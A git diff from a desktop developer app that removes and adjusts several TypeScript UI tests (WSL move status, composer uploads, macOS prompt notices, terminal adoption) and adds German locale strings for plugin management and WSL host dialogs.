useWslMoveOrchestratorStatus } = await import('./wsl-move-orchestrator-status') -const { WslMoveOrchestratorStatusLine, showBlockingTerminal } = - await import('./WslMoveOrchestratorStatusLine') -const { wslMoveOrchestratorLine } = await import('./wsl-move-orchestrator-copy') - -const PANE = 'tab-1:11111111-1111-4111-8111-111111111111' +const { WslMoveOrchestratorStatusLine } = await import('./WslMoveOrchestratorStatusLine') function record(state: WslMoveOrchestratorRecord['state']): WslMoveOrchestratorRecord { return { distro: 'Ubuntu', state, attempts: 0, appVersion: '1.0.0', updatedAt: 0 } @@ -94,85 +90,3 @@ describe('following the move orchestrator (D3a-2)', () => { expect(renderLine()).toBe('') }) }) - -describe('the status line, by state', () => { - const show = (state: WslMoveOrchestratorRecord['state']): string => { - useWslMoveOrchestratorStatus.setState({ - records: { ['ubuntu']: record(state) } - }) - return renderLine() - } - - it('says what is still busy for a deferred move, with Show terminal and Check again', () => { - const html = show({ - kind: 'deferred', - blockers: [{ kind: 'agent-working', ids: [PANE], actions: ['wait', 'end'] }], - rechecks: 0 - }) - expect(html).toContain('Finishing your move to the Ubuntu host') - expect(html).toContain('Show terminal') - expect(html).toContain('Check again') - }) - - it('never calls a stuck move failed', () => { - const html = show({ kind: 'parked', reason: 'stuck' }) - expect(html).toContain("An earlier move to the Ubuntu host hasn't finished settling.") - expect(html.toLowerCase()).not.toContain('fail') - expect(html).toContain('Check again') - }) - - it('says a committed earlier move finishes at restart, or now with Check again', () => { - const html = show({ kind: 'parked', reason: 'finish-pending' }) - expect(html).toContain('finishes it here when it restarts, or now with Check again') - expect(html).toContain('Check again') - }) - - it('offers only Move again for a distro the user brought back, never Not now', () => { - const html = show({ kind: 'parked', reason: 'declined', cause: 'released-here' }) - expect(html).toContain('brought these projects back to this computer') - expect(html).toContain('Move again') - expect(html).not.toContain('Not now') - }) - - it('shows nothing for a removed host or a pending Remove', () => { - expect(show({ kind: 'parked', reason: 'declined', cause: 'removed' })).toBe('') - expect(show({ kind: 'parked', reason: 'removal-pending' })).toBe('') - expect(wslMoveOrchestratorLine(undefined)).toBeNull() - }) - - // Pre-review #2: what waits for the user gets a calm line and Check again, never "failed". - it('shows a neutral paused line with Check again for each reason that waits for the user', () => { - for (const [reason, words] of [ - ['export-incomplete', "can't be carried over yet"], - ['manifest-too-large', 'more saved state than one move can carry'], - ['host-update-required', 'the host needs an update first'], - ['attempts-exhausted', "didn't complete after several tries"] - ] as const) { - const html = show({ kind: 'parked', reason }) - expect(html).toContain('Moving projects to the Ubuntu host is paused: ') - expect(html).toContain(words) - expect(html).toContain('Check again') - expect(html.toLowerCase()).not.toContain('fail') - } - }) - - it('says each blocker in one sentence', () => { - const html = show({ - kind: 'deferred', - blockers: [{ kind: 'automation-running', ids: ['run-1'], actions: ['wait'] }], - rechecks: 0 - }) - expect(html).toContain('Wait for it to finish, then check again.') - expect(html).not.toContain('Show terminal') - }) -}) - -describe('Show terminal', () => { - // Pre-review #5: a pane that is gone gets a word back, not silence. - it('says so when the terminal is no longer open', () => { - showBlockingTerminal(PANE) - expect(toasts.calls).toEqual([ - "That terminal isn't open in this window any more. Check again to refresh." - ]) - }) -}) diff --git a/src/renderer/src/hooks/composer-state/attachment-drop-failure.test.tsx b/src/renderer/src/hooks/composer-state/attachment-drop-failure.test.tsx index 07ad128ac63..18c28ff5846 100644 --- a/src/renderer/src/hooks/composer-state/attachment-drop-failure.test.tsx +++ b/src/renderer/src/hooks/composer-state/attachment-drop-failure.test.tsx @@ -83,123 +83,4 @@ describe('local composer drop failures', () => { expect(attached).toHaveLength(9) expect(attached).not.toContain('/drop/bad-1.png') }) - - it('stays silent when every dropped path attaches', async () => { - const { result } = renderDropState(() => {}) - - await act(async () => { - await result.current.applyLocalComposerDrop(['/drop/ok-0.png', '/drop/ok-1.png']) - }) - - expect(mocks.toastError).not.toHaveBeenCalled() - }) - - it('says nothing once the composer that owned the drop is gone', async () => { - const { result } = renderDropState(() => {}) - - await act(async () => { - await result.current.applyLocalComposerDrop(dropPaths(12), () => false) - }) - - expect(mocks.toastError).not.toHaveBeenCalled() - }) -}) - -// Why: the upload branch returns early unless a runtime environment or connection is resolved. -const RUNTIME_ENVIRONMENT_ID = 'env-1' - -describe('composer upload failures', () => { - it('aggregates a mixed runtime import into one toast, and withholds a reason that is not shared', async () => { - mocks.importExternalPaths.mockResolvedValue({ - results: [ - { - sourcePath: '/a.png', - status: 'imported', - destPath: '/repo/.orca/drops/a.png', - kind: 'file', - renamed: false - }, - { sourcePath: '/b.png', status: 'skipped', reason: 'permission-denied' }, - { sourcePath: '/c.png', status: 'failed', reason: 'disk full' } - ] - }) - const { result } = renderDropState(() => {}) - - await act(async () => { - await result.current.uploadComposerPaths( - ['/a.png', '/b.png', '/c.png'], - RUNTIME_ENVIRONMENT_ID, - null, - '/repo' - ) - }) - - expect(mocks.toastError).toHaveBeenCalledTimes(1) - const [title, options] = mocks.toastError.mock.calls[0] ?? [] - expect(title).toBe('2 of 3 items could not be attached.') - expect(options.description).toBeUndefined() - }) - - it('stays silent when every uploaded path imports', async () => { - mocks.importExternalPaths.mockResolvedValue({ - results: [ - { - sourcePath: '/a.png', - status: 'imported', - destPath: '/repo/.orca/drops/a.png', - kind: 'file', - renamed: false - } - ] - }) - const { result } = renderDropState(() => {}) - - await act(async () => { - await result.current.uploadComposerPaths(['/a.png'], RUNTIME_ENVIRONMENT_ID, null, '/repo') - }) - - expect(mocks.toastError).not.toHaveBeenCalled() - }) - - it('does not report after the composer that owned the upload is gone', async () => { - mocks.importExternalPaths.mockResolvedValue({ - results: [{ sourcePath: '/b.png', status: 'skipped', reason: 'missing' }] - }) - const { result } = renderDropState(() => {}) - - await act(async () => { - await result.current.uploadComposerPaths( - ['/b.png'], - RUNTIME_ENVIRONMENT_ID, - null, - '/repo', - null, - () => false - ) - }) - - expect(mocks.toastError).not.toHaveBeenCalled() - }) - - it('does give the shared reason when every uploaded path failed the same way', async () => { - mocks.importExternalPaths.mockResolvedValue({ - results: [ - { sourcePath: '/b.png', status: 'skipped', reason: 'permission-denied' }, - { sourcePath: '/c.png', status: 'skipped', reason: 'permission-denied' } - ] - }) - const { result } = renderDropState(() => {}) - - await act(async () => { - await result.current.uploadComposerPaths( - ['/b.png', '/c.png'], - RUNTIME_ENVIRONMENT_ID, - null, - '/repo' - ) - }) - - const [, options] = mocks.toastError.mock.calls[0] ?? [] - expect(options.description).toBe('Permission denied.') - }) }) diff --git a/src/renderer/src/hooks/ipc-events/runtime-client-ipc-bridge.ts b/src/renderer/src/hooks/ipc-events/runtime-client-ipc-bridge.ts index 50ffba75a28..b707604df8b 100644 --- a/src/renderer/src/hooks/ipc-events/runtime-client-ipc-bridge.ts +++ b/src/renderer/src/hooks/ipc-events/runtime-client-ipc-bridge.ts @@ -177,6 +177,9 @@ export function registerRuntimeClientIpcBridge( if (event.type === 'sidebarInputsChanged') { return } + if (event.type !== 'activateWorktree') { + return + } // Older hosts broadcast local/CLI activation without an address; that is not this viewer's intent. if (!event.navigation || !navigationTargetsClients(event.navigation)) { return diff --git a/src/renderer/src/hooks/macos-tcc-prompt-notice-subscription.test.ts b/src/renderer/src/hooks/macos-tcc-prompt-notice-subscription.test.ts index 34369c1769b..942234196a5 100644 --- a/src/renderer/src/hooks/macos-tcc-prompt-notice-subscription.test.ts +++ b/src/renderer/src/hooks/macos-tcc-prompt-notice-subscription.test.ts @@ -1,8 +1,5 @@ import { afterEach, describe, expect, it, vi } from 'vitest' -import { - dismissMacosTccPromptNotice, - subscribeToMacosTccPromptNotice -} from './macos-tcc-prompt-notice-subscription' +import { subscribeToMacosTccPromptNotice } from './macos-tcc-prompt-notice-subscription' afterEach(() => { vi.restoreAllMocks() @@ -14,18 +11,6 @@ function acknowledgeDisplayedNotice(onNotice: ReturnType, callInde } describe('subscribeToMacosTccPromptNotice', () => { - it('contains synchronous and rejected dismissal failures', async () => { - const synchronousFailure = vi.fn(() => { - throw new Error('renderer closing') - }) - const rejectedFailure = vi.fn().mockRejectedValue(new Error('ipc unavailable')) - - await expect( - dismissMacosTccPromptNotice({ dismiss: synchronousFailure }) - ).resolves.toBeUndefined() - await expect(dismissMacosTccPromptNotice({ dismiss: rejectedFailure })).resolves.toBeUndefined() - }) - it('delivers a threshold retained before the renderer subscribed', async () => { const onNotice = vi.fn() const acknowledgePending = vi.fn().mockResolvedValue(undefined) @@ -52,37 +37,6 @@ describe('subscribeToMacosTccPromptNotice', () => { unsubscribe() }) - it('consumes concurrent mount and live signals only once', async () => { - const listenerState: { listener?: (payload: { promptCount: number }) => void } = {} - const acknowledgePending = vi.fn().mockResolvedValue(undefined) - const consumePending = vi - .fn() - .mockResolvedValueOnce({ claimId: 8, promptCount: 3 }) - .mockResolvedValue(null) - const onNotice = vi.fn() - const unsubscribe = subscribeToMacosTccPromptNotice( - { - acknowledgePending, - consumePending, - onThreshold: (listener) => { - listenerState.listener = listener - return vi.fn() - } - }, - onNotice - ) - - listenerState.listener?.({ promptCount: 3 }) - await Promise.resolve() - - expect(consumePending).toHaveBeenCalledTimes(2) - expect(onNotice).toHaveBeenCalledOnce() - expect(acknowledgePending).not.toHaveBeenCalled() - acknowledgeDisplayedNotice(onNotice) - expect(acknowledgePending).toHaveBeenCalledOnce() - unsubscribe() - }) - it('finishes an in-flight claim through StrictMode cleanup', async () => { const pendingState: { resolve?: (payload: { claimId: number; promptCount: number } | null) => void @@ -265,23 +219,4 @@ describe('subscribeToMacosTccPromptNotice', () => { expect(onNotice).toHaveBeenCalledOnce() expect(releasePending).toHaveBeenCalledWith(13) }) - - it('keeps live delivery with an older preload that has no consume API', () => { - const listenerState: { listener?: (payload: { promptCount: number }) => void } = {} - const onNotice = vi.fn() - const unsubscribe = subscribeToMacosTccPromptNotice( - { - onThreshold: (listener) => { - listenerState.listener = listener - return vi.fn() - } - }, - onNotice - ) - - listenerState.listener?.({ promptCount: 3 }) - - expect(onNotice).toHaveBeenCalledWith({ promptCount: 3 }, expect.any(Function)) - unsubscribe() - }) }) diff --git a/src/renderer/src/hooks/useEphemeralVmRecipeOptions.test.tsx b/src/renderer/src/hooks/useEphemeralVmRecipeOptions.test.tsx index 5f10b7a9908..7e7d56051a0 100644 --- a/src/renderer/src/hooks/useEphemeralVmRecipeOptions.test.tsx +++ b/src/renderer/src/hooks/useEphemeralVmRecipeOptions.test.tsx @@ -141,15 +141,6 @@ describe('useEphemeralVmRecipeOptions', () => { expect(container.textContent).not.toContain('stale-project') }) - it('does not probe recipes while the feature is disabled', async () => { - const listRecipes = vi.fn().mockResolvedValue(result(['hidden'])) - installApi(listRecipes) - - await render() - - expect(listRecipes).not.toHaveBeenCalled() - }) - it('does not send a paired-runtime repo id to local recipe discovery', async () => { const listRecipes = vi.fn().mockResolvedValue({ status: 'error', diff --git a/src/renderer/src/hooks/useIpcEvents-silent-terminal-adoption.test.ts b/src/renderer/src/hooks/useIpcEvents-silent-terminal-adoption.test.ts deleted file mode 100644 index fd86728f986..00000000000 --- a/src/renderer/src/hooks/useIpcEvents-silent-terminal-adoption.test.ts +++ /dev/null @@ -1,124 +0,0 @@ -import { describe, expect, it, vi } from 'vitest' -import { - createHarnessStoreState, - loadIpcEventsHarness, - type HarnessStoreState -} from './ipc-events-test-harness' - -describe('useIpcEvents silent terminal adoption (surfaceOwner: false)', () => { - const asMock = (value: unknown): ReturnType => value as ReturnType - - function createBackgroundWorkspaceState(): HarnessStoreState { - return createHarnessStoreState({ - tabsByWorktree: {}, - // Honour the pre-minted tab id so adoption resolves the same tab main asked for. - createTab: vi.fn( - (_worktreeId: string, _groupId?: string, _tabType?: string, options?: { id?: string }) => ({ - id: options?.id ?? 'tab-minted' - }) - ), - worktreesByRepo: { - 'repo-1': [ - { id: 'wt-1', repoId: 'repo-1' }, - { id: 'wt-2', repoId: 'repo-1' } - ] - } - }) - } - - it('adopts a background workspace terminal without scrolling the sidebar to it', async () => { - const storeState = createBackgroundWorkspaceState() - const harness = await loadIpcEventsHarness(storeState) - harness.useIpcEvents() - - harness.createTerminal({ - worktreeId: 'wt-2', - ptyId: 'pty-cli', - activate: false, - tabId: 'tab-cli' - }) - - expect(storeState.createTab).toHaveBeenCalledWith('wt-2', undefined, undefined, { - initialPtyId: 'pty-cli', - activate: false, - id: 'tab-cli' - }) - expect(storeState.revealWorktreeInSidebar).toHaveBeenCalledWith('wt-2') - - asMock(storeState.createTab).mockClear() - asMock(storeState.revealWorktreeInSidebar).mockClear() - asMock(storeState.setActiveView).mockClear() - asMock(storeState.setActiveWorktree).mockClear() - asMock(storeState.setActiveTabType).mockClear() - asMock(storeState.setActiveTab).mockClear() - - // Adopt background-created agent tabs without scrolling the sidebar to them. - harness.createTerminal({ - worktreeId: 'wt-2', - ptyId: 'pty-background-create', - activate: false, - surfaceOwner: false, - tabId: 'tab-background-create' - }) - - expect(storeState.createTab).toHaveBeenCalledWith('wt-2', undefined, undefined, { - initialPtyId: 'pty-background-create', - activate: false, - id: 'tab-background-create' - }) - expect(storeState.revealWorktreeInSidebar).not.toHaveBeenCalled() - expect(storeState.setActiveView).not.toHaveBeenCalled() - expect(storeState.setActiveWorktree).not.toHaveBeenCalled() - expect(storeState.setActiveTabType).not.toHaveBeenCalled() - expect(storeState.setActiveTab).not.toHaveBeenCalled() - }) - - it('replies to a requested terminal create without scrolling the sidebar when surfaceOwner is false', async () => { - const storeState = createBackgroundWorkspaceState() - const harness = await loadIpcEventsHarness(storeState) - harness.useIpcEvents() - - harness.requestTerminalCreate({ - requestId: 'req-cli', - worktreeId: 'wt-2', - title: 'Claude' - }) - - expect(harness.replyTerminalCreate).toHaveBeenCalledWith({ - requestId: 'req-cli', - tabId: 'tab-minted', - title: 'Claude' - }) - expect(storeState.revealWorktreeInSidebar).toHaveBeenCalledWith('wt-2') - - asMock(storeState.createTab).mockClear() - asMock(storeState.revealWorktreeInSidebar).mockClear() - asMock(storeState.setActiveView).mockClear() - asMock(storeState.setActiveWorktree).mockClear() - asMock(storeState.setActiveTabType).mockClear() - asMock(storeState.setActiveTab).mockClear() - harness.replyTerminalCreate.mockClear() - - harness.requestTerminalCreate({ - requestId: 'req-background-create', - worktreeId: 'wt-2', - title: 'Claude', - surfaceOwner: false - }) - - expect(storeState.createTab).toHaveBeenCalledWith('wt-2', undefined, undefined, { - activate: false, - recordInteraction: false - }) - expect(harness.replyTerminalCreate).toHaveBeenCalledWith({ - requestId: 'req-background-create', - tabId: 'tab-minted', - title: 'Claude' - }) - expect(storeState.revealWorktreeInSidebar).not.toHaveBeenCalled() - expect(storeState.setActiveView).not.toHaveBeenCalled() - expect(storeState.setActiveWorktree).not.toHaveBeenCalled() - expect(storeState.setActiveTabType).not.toHaveBeenCalled() - expect(storeState.setActiveTab).not.toHaveBeenCalled() - }) -}) diff --git a/src/renderer/src/hooks/useReadOnScreenAttention.floating-panel.test.ts b/src/renderer/src/hooks/useReadOnScreenAttention.floating-panel.test.ts index 24adba61d53..95911b713f9 100644 --- a/src/renderer/src/hooks/useReadOnScreenAttention.floating-panel.test.ts +++ b/src/renderer/src/hooks/useReadOnScreenAttention.floating-panel.test.ts @@ -159,26 +159,3 @@ describe('useReadOnScreenAttention — floating workspace panel visibility', () expect(selectFloatingWorkspaceHasUnread(state)).toBe(false) }) }) - -it('does not acknowledge the regular workspace for a colliding floating tab', () => { - vi.spyOn(document, 'hasFocus').mockReturnValue(true) - seedFloatingCompletion() - useAppStore.setState({ - activeView: 'terminal', - activeTabId: FLOATING_TAB_ID, - activeWorktreeId: 'regular', - unreadAgentCompletionPanes: { [FLOATING_PANE_KEY]: true } - }) - openFloatingPanel() - const read = vi.spyOn(useAppStore.getState(), 'readOnScreenAttention') - try { - renderHook(() => useReadOnScreenAttention()) - expect(read).toHaveBeenCalled() - expect( - read.mock.calls.flatMap(([screen]) => screen.targets.map((target) => target.worktreeId)) - ).not.toContain('regular') - } finally { - cleanup() - vi.restoreAllMocks() - } -}) diff --git a/src/renderer/src/hooks/useSettingsNavigationMetadata.capability-owner.test.tsx b/src/renderer/src/hooks/useSettingsNavigationMetadata.capability-owner.test.tsx index 4be7dff1a38..8797d249e31 100644 --- a/src/renderer/src/hooks/useSettingsNavigationMetadata.capability-owner.test.tsx +++ b/src/renderer/src/hooks/useSettingsNavigationMetadata.capability-owner.test.tsx @@ -10,6 +10,7 @@ import type { RuntimeEnvironmentStatus } from '@/store/slices/runtime-status-typ import type { Repo } from '../../../shared/repo-types' import { resetWindowsTerminalCapabilitiesForTests } from '@/lib/windows-terminal-capabilities' import { setLocalRuntimeCapabilitiesForTests } from '@/runtime/local-runtime-capabilities' +import { AGENT_SESSION_RUNTIME_CAPABILITIES } from '../../../shared/agent-session-runtime-capabilities' const testState = vi.hoisted(() => ({ settings: null as GlobalSettings | null, @@ -143,4 +144,29 @@ describe('settings navigation capability ownership', () => { expect(runtimeGetStatus).toHaveBeenCalledTimes(2) expect(runtimeEnvironmentCall).not.toHaveBeenCalled() }) + + it.each([ + { name: 'advertises', capabilities: AGENT_SESSION_RUNTIME_CAPABILITIES, found: true }, + { name: 'does not advertise', capabilities: [], found: false } + ])('finds Queue follow-ups in search only when this host $name queueing', async (args) => { + setLocalRuntimeCapabilitiesForTests([...args.capabilities]) + Object.defineProperty(window, 'api', { + configurable: true, + value: { + wsl: { isAvailable: vi.fn().mockResolvedValue(false), listDistros: vi.fn() }, + pwsh: { isAvailable: vi.fn().mockResolvedValue(false) }, + gitBash: { isAvailable: vi.fn().mockResolvedValue(false) }, + runtime: { getStatus: vi.fn().mockResolvedValue({ hostPlatform: 'darwin' }) }, + runtimeEnvironments: { call: vi.fn() } + } + }) + await act(async () => { + root.render(createElement(Probe)) + await Promise.resolve() + }) + const chat = testState.sections?.find((section) => section.id === 'chat') + expect( + chat?.searchEntries.some((entry) => entry.targetSectionId === 'chat-queue-follow-ups') + ).toBe(args.found) + }) }) diff --git a/src/renderer/src/i18n/locales/de.json b/src/renderer/src/i18n/locales/de.json index 9f647ceecd3..4ee482816eb 100644 --- a/src/renderer/src/i18n/locales/de.json +++ b/src/renderer/src/i18n/locales/de.json @@ -210,6 +210,11 @@ }, "cardProperties": { "agentModel": "Agentenmodell" + }, + "wslHostOffer": { + "title": "{{distro}} als Host ausführen (empfohlen)", + "why": "Git, Dateien und Terminals laufen dann nativ in Linux statt über die Windows-Dateifreigabe.", + "accept": "Als Host ausführen" } }, "app": { @@ -1339,6 +1344,13 @@ "pluginNewFile": { "unavailable": "{{value0}} ist nicht mehr verfügbar. Aktiviere das zugehörige Plugin wieder.", "failed": "Die Datei konnte nicht erstellt werden." + }, + "pluginAutoUpdates": { + "one": "{{value0}} auf {{value1}} aktualisiert", + "many": "{{value0}} Plugins aktualisiert" + }, + "pluginInstallLink": { + "invalid": "Dieser Plugin-Link ist ungültig." } }, "lib": { @@ -7129,13 +7141,15 @@ "distro": "Distribution", "loading": "WSL-Distributionen werden gesucht…", "placeholder": "Distribution auswählen", - "none": "Keine WSL-Distributionen gefunden. Installation mit: wsl --install", "stoppedHint": "{{value0}} ist gestoppt. Das Hinzufügen startet die Distribution.", "addingHint": "Der Orca-Server wird in der Distribution installiert und gestartet. Beim ersten Mal kann dies eine Minute dauern.", "adding": "Wird eingerichtet…", "startAndAdd": "Starten und hinzufügen", "add": "Host hinzufügen", - "refresh": "Aktualisieren" + "refresh": "Aktualisieren", + "wsl1Reason": "WSL 1 kann keinen Orca-Host ausführen; konvertieren mit {{command}}", + "noWsl2Title": "Keine WSL-2-Distributionen gefunden", + "noWsl2Install": "Installiere eine in einem Windows-Terminal mit {{command}} und wähle dann Aktualisieren." }, "wslHostRowStatus": { "connecting": "Wird gestartet", @@ -8907,7 +8921,9 @@ "fbb428db98": "Ausgewählt:", "search_terminal_themes": "Terminal-Designs suchen", "cb330ef7f8": " von {{value0}}", - "c822571b2e": " passend zu „{{value0}}“" + "c822571b2e": " passend zu „{{value0}}“", + "plugin_themes": "Plugins", + "from_plugin": "Von {{value0}}" }, "SettingsSidebar": { "e0900f83e7": "SSH", @@ -11866,7 +11882,9 @@ "notificationsShow": "Desktop-Benachrichtigungen mit dem Plugin-Namen anzeigen", "storage": "Daten im eigenen Speicherordner des Plugins speichern", "secrets": "Geheimnisse im eigenen verschlüsselten Tresor des Plugins speichern und lesen", - "settingsOwn": "Die eigenen Einstellungen des Plugins lesen und ändern" + "settingsOwn": "Die eigenen Einstellungen des Plugins lesen und ändern", + "agentsRead": "Benachrichtigungen, wenn sich der Agentenstatus ändert", + "terminalRun": "Befehle in deinen Terminals ausführen, auch über SSH" }, "decisionFailed": "Die Berechtigungsentscheidung konnte nicht gespeichert werden. Erneut versuchen.", "fullAccessWarning": "Vollzugriff: läuft wie ein normales Programm und kann deine Dateien lesen, das Netzwerk nutzen und andere Programme ausführen.", @@ -11890,7 +11908,9 @@ "remove": "Entfernen", "pathLabel": "Ordnerpfad des Entwicklungs-Plugins", "placeholder": "/Users/you/plugins/my-plugin oder C:\\Users\\you\\plugins\\my-plugin", - "add": "Pfad hinzufügen" + "add": "Pfad hinzufügen", + "dialogTitle": "Entwicklungsordner", + "reviewHelp": "Einmal geprüft. Spätere Codeänderungen laufen ohne Nachfrage." }, "PluginInstallDialog": { "localRequired": "Den Plugin-Ordnerpfad eingeben.", @@ -11973,11 +11993,16 @@ }, "PluginRemoveDialog": { "cancel": "Abbrechen", - "remove": "Plugin entfernen" + "remove": "Plugin entfernen", + "title": "{{value0}} entfernen?", + "description": "Seine Daten werden ebenfalls entfernt." }, "PluginRollbackDialog": { "cancel": "Abbrechen", - "confirm": "Plugin zurücksetzen" + "confirm": "Plugin zurücksetzen", + "title": "{{value0}} zurücksetzen?", + "description": "Stellt die vorherige Version wieder her.", + "descriptionVersion": "Stellt Version {{value0}} wieder her." }, "PluginsSettingsSection": { "systemLabel": "Plugin-System", @@ -11992,7 +12017,10 @@ "title": "Plugins", "description": "Orca-Plugins installieren und verwalten. Plugins laufen auf diesem Computer, auch für SSH-Arbeitsbereiche.", "logsFailed": "Plugin-Protokolle konnten nicht geladen werden.", - "rollbackFailed": "Dieses Plugin konnte nicht zurückgesetzt werden. Möglicherweise ist keine vorherige unveränderliche Version verfügbar." + "rollbackFailed": "Dieses Plugin konnte nicht zurückgesetzt werden. Möglicherweise ist keine vorherige unveränderliche Version verfügbar.", + "alpha": "Alpha", + "fileTypeSuggestionsLabel": "Plugins für unbekannte Dateien vorschlagen", + "restartFailed": "{{value0}} konnte nicht neu gestartet werden." }, "PluginSettingsRow": { "loadingLogs": "Protokolle werden geladen…", @@ -12004,7 +12032,8 @@ "viewLogs": "Protokolle anzeigen", "disableLabel": "{{value0}} deaktivieren", "enableLabel": "{{value0}} aktivieren", - "invalidPluginError": "Das Plugin-Manifest oder die installierten Dateien sind ungültig. Das Plugin korrigieren und anschließend aktualisieren." + "invalidPluginError": "Das Plugin-Manifest oder die installierten Dateien sind ungültig. Das Plugin korrigieren und anschließend aktualisieren.", + "syntaxFailed": "Hervorhebung gestoppt: Diese Grammatik ist fehlgeschlagen." }, "PluginVmRecipeConsentPreview": { "create": "Erstellen", @@ -12035,7 +12064,8 @@ "install": "Plugin installieren", "permissions": "Plugin-Berechtigungen", "logs": "Plugin-Protokolle", - "development": "Entwicklungs-Plugins" + "development": "Entwicklungs-Plugins", + "aliases": "plugins mods erweiterungen" } }, "LinearAgentSkillGuide": { @@ -12975,7 +13005,28 @@ } }, "PluginUpdateAllDialog": { - "review": "Prüfen" + "review": "Prüfen", + "previewError": "Dieses Update konnte nicht gelesen werden", + "newAccess": "Neu: {{value0}}", + "failed": "{{value0}} konnte nicht aktualisiert werden. Die anderen wurden aktualisiert.", + "cancel": "Abbrechen", + "updateOne": "1 Plugin aktualisieren", + "updateMany": "{{value0}} Plugins aktualisieren", + "failedAll": "{{value0}} konnte nicht aktualisiert werden. Es wurde nichts aktualisiert.", + "close": "Schließen", + "retry": "Erneut versuchen", + "updated": "Aktualisiert", + "needsOrca": "Benötigt Orca {{value0}} oder neuer", + "current": "Bereits installiert", + "sourceMoved": "Neue Quelle: {{value0}} (vorher {{value1}})", + "newShortcuts": "Tastenkürzel", + "newCommands": "Befehle", + "newPanels": "Bereiche", + "newEvents": "Weitere Ereignisse", + "newRecipes": "Maschinenrezepte", + "newContributions": "Funktionen, die für dich handeln", + "allAccess": "Alle Zugriffe anzeigen", + "update": "Aktualisieren" }, "PluginUpdateReview": { "title": "Update für {{value0}} prüfen", @@ -13009,7 +13060,8 @@ }, "PluginContributionActionPanel": { "open": "Panel öffnen", - "openName": "Panel öffnen: {{value0}}" + "openName": "Panel öffnen: {{value0}}", + "needsWorkspace": "Benötigt einen geöffneten Arbeitsbereich" }, "PluginContributionActionSyntax": { "openExtension": "Eine beliebige {{value0}}-Datei öffnen", @@ -13020,7 +13072,10 @@ "updated": "Aktualisiert", "license": "Lizenz", "whatsNew": "Neuigkeiten", - "installs": "Installationen" + "installs": "Installationen", + "hashCopied": "Inhalts-Hash kopiert", + "hashCopyFailed": "Der Hash konnte nicht kopiert werden.", + "readme": "README auf {{value0}} lesen" }, "PluginDetailPage": { "back": "Plugins", @@ -13031,7 +13086,20 @@ "requiresValue": "Orca {{value0}} oder neuer", "categories": "Kategorien", "pluginId": "Plugin-ID", - "repository": "Repository" + "repository": "Repository", + "bundled": "Mit Orca gebündelt", + "localFolder": "Lokaler Ordner", + "gitUrl": "Git-URL", + "stoppedTitle": "Nach einem Fehler gestoppt", + "stoppedBody": "Es ist wiederholt abgestürzt. Starte es neu, um es erneut zu versuchen.", + "invalidTitle": "Orca kann dieses Plugin nicht laden", + "needsOrcaTitle": "Benötigt Orca {{value0}} oder neuer", + "needsOrcaBody": "Du hast Orca {{value0}}.", + "newerTitle": "Neuere Version verfügbar", + "newerBody": "Der Katalog hat sich geändert, während du hier warst.", + "showNewer": "Neuere anzeigen", + "stoppedDataBody": "Seine Dateien konnten nicht geladen werden. Starte es neu, um es erneut zu versuchen.", + "alsoListedBy": "Auch gelistet von {{value0}}. Updates kommen nur aus dem Katalog, aus dem es installiert wurde. Zum Wechseln entferne es und installiere es erneut." }, "PluginDetailSections": { "typeLanguagePack": "Oberflächensprache", @@ -13050,7 +13118,12 @@ "accessLoading": "Plugin wird gelesen…", "accessFailed": "Zugriff konnte nicht gelesen werden", "retry": "Erneut versuchen", - "customEditor": "Editor" + "customEditor": "Editor", + "panel": "Seitenleistenbereich", + "recipe": "Maschinenrezept", + "logs": "Protokolle", + "copyLogs": "Kopieren", + "noAccessReach": "Nichts außerhalb seiner eigenen Dateien" }, "PluginFilterPopover": { "kind": "Kategorie", @@ -13079,7 +13152,9 @@ "replacesShortcut": "{{value0}} ({{value1}}) ersetzt dein Tastenkürzel für {{value2}}.", "updatesKeepApproval": "Updates fragen nur bei neuem Zugriff erneut", "fullAccessUpdates": "Updates können seinen Code ohne Nachfrage ändern", - "editsFileTypes": "Öffnet und bearbeitet {{value0}}-Dateien in Orca. Es kann die Dateien lesen, die es öffnet." + "editsFileTypes": "Öffnet und bearbeitet {{value0}}-Dateien in Orca. Es kann die Dateien lesen, die es öffnet.", + "install": "Installieren & aktivieren", + "keepOff": "Deaktiviert lassen" }, "PluginListEmptyStates": { "noFilterMatches": "Keine Plugins entsprechen diesen Filtern", @@ -13100,7 +13175,18 @@ "updateAll": "Alle aktualisieren…", "notFromCatalog": "nicht aus einem Katalog", "allInstalledTitle": "Alle Katalog-Plugins sind installiert", - "showInstalled": "Installierte Plugins anzeigen" + "showInstalled": "Installierte Plugins anzeigen", + "verified": "verifiziert", + "unverified": "nicht verifiziert", + "catalogLoading": "Katalog", + "catalogFailedTitle": "Der Plugin-Katalog konnte nicht geladen werden.", + "catalogFailedBody": "Deine installierten Plugins funktionieren weiterhin.", + "sourceFailedTitle": "Dieser Katalog konnte nicht geladen werden.", + "sourceFailedBody": "Deine installierten Plugins funktionieren weiterhin.", + "sources": "Quellen…", + "sourceStaleTitle": "Dieser Katalog konnte nicht aktualisiert werden.", + "sourceStaleBody": "Angezeigt wird die Kopie vom {{value0}}.", + "shownOf": "{{value0}} von {{value1}}" }, "PluginManagerRows": { "reinstall": "Neu installieren", @@ -13121,7 +13207,14 @@ "rollbackTo": "Auf {{value0}} zurücksetzen…", "copyContentHash": "Inhalts-Hash kopieren", "reviewUpdate": "Update prüfen", - "dataLoadFailed": "Dateien konnten nicht geladen werden" + "dataLoadFailed": "Dateien konnten nicht geladen werden", + "copied": "Plugin-ID kopiert", + "copyFailed": "Die Plugin-ID konnte nicht kopiert werden.", + "details": "Details", + "unverified": "Nicht verifiziert", + "updateAvailable": "Update {{value0}} verfügbar", + "updateNeedsReview": "Update {{value0}} muss geprüft werden", + "updatedTo": "auf {{value0}} aktualisiert" }, "pluginInstallAction": { "installed": "{{value0}} installiert", @@ -13159,7 +13252,105 @@ "PluginThemeUseNow": { "assignedLight": "{{value0}} als helles Design festgelegt", "assignedDark": "{{value0}} als dunkles Design festgelegt", - "saveFailed": "Das Design konnte nicht gespeichert werden. Versuche es erneut." + "saveFailed": "Das Design konnte nicht gespeichert werden. Versuche es erneut.", + "label": "Jetzt verwenden:", + "useForLight": "Für hell verwenden:", + "useForDark": "Für dunkel verwenden:" + }, + "PluginInstallTrustDialog": { + "titleFolder": "Stellen Sie sicher, dass Sie diesem Ordner vertrauen", + "title": "Stellen Sie sicher, dass Sie {{value0}} vertrauen", + "theme": "Dieses Design stammt von {{value0}}, nicht von Orca. Installieren Sie nur Plugins von Autoren, denen Sie vertrauen.", + "content": "Dieses Plugin stammt von {{value0}}, nicht von Orca. Installieren Sie nur Plugins von Autoren, denen Sie vertrauen.", + "translations": "Diese Übersetzung stammt von {{value0}}, nicht von Orca. Übersetzungen können jeden Text in Orca 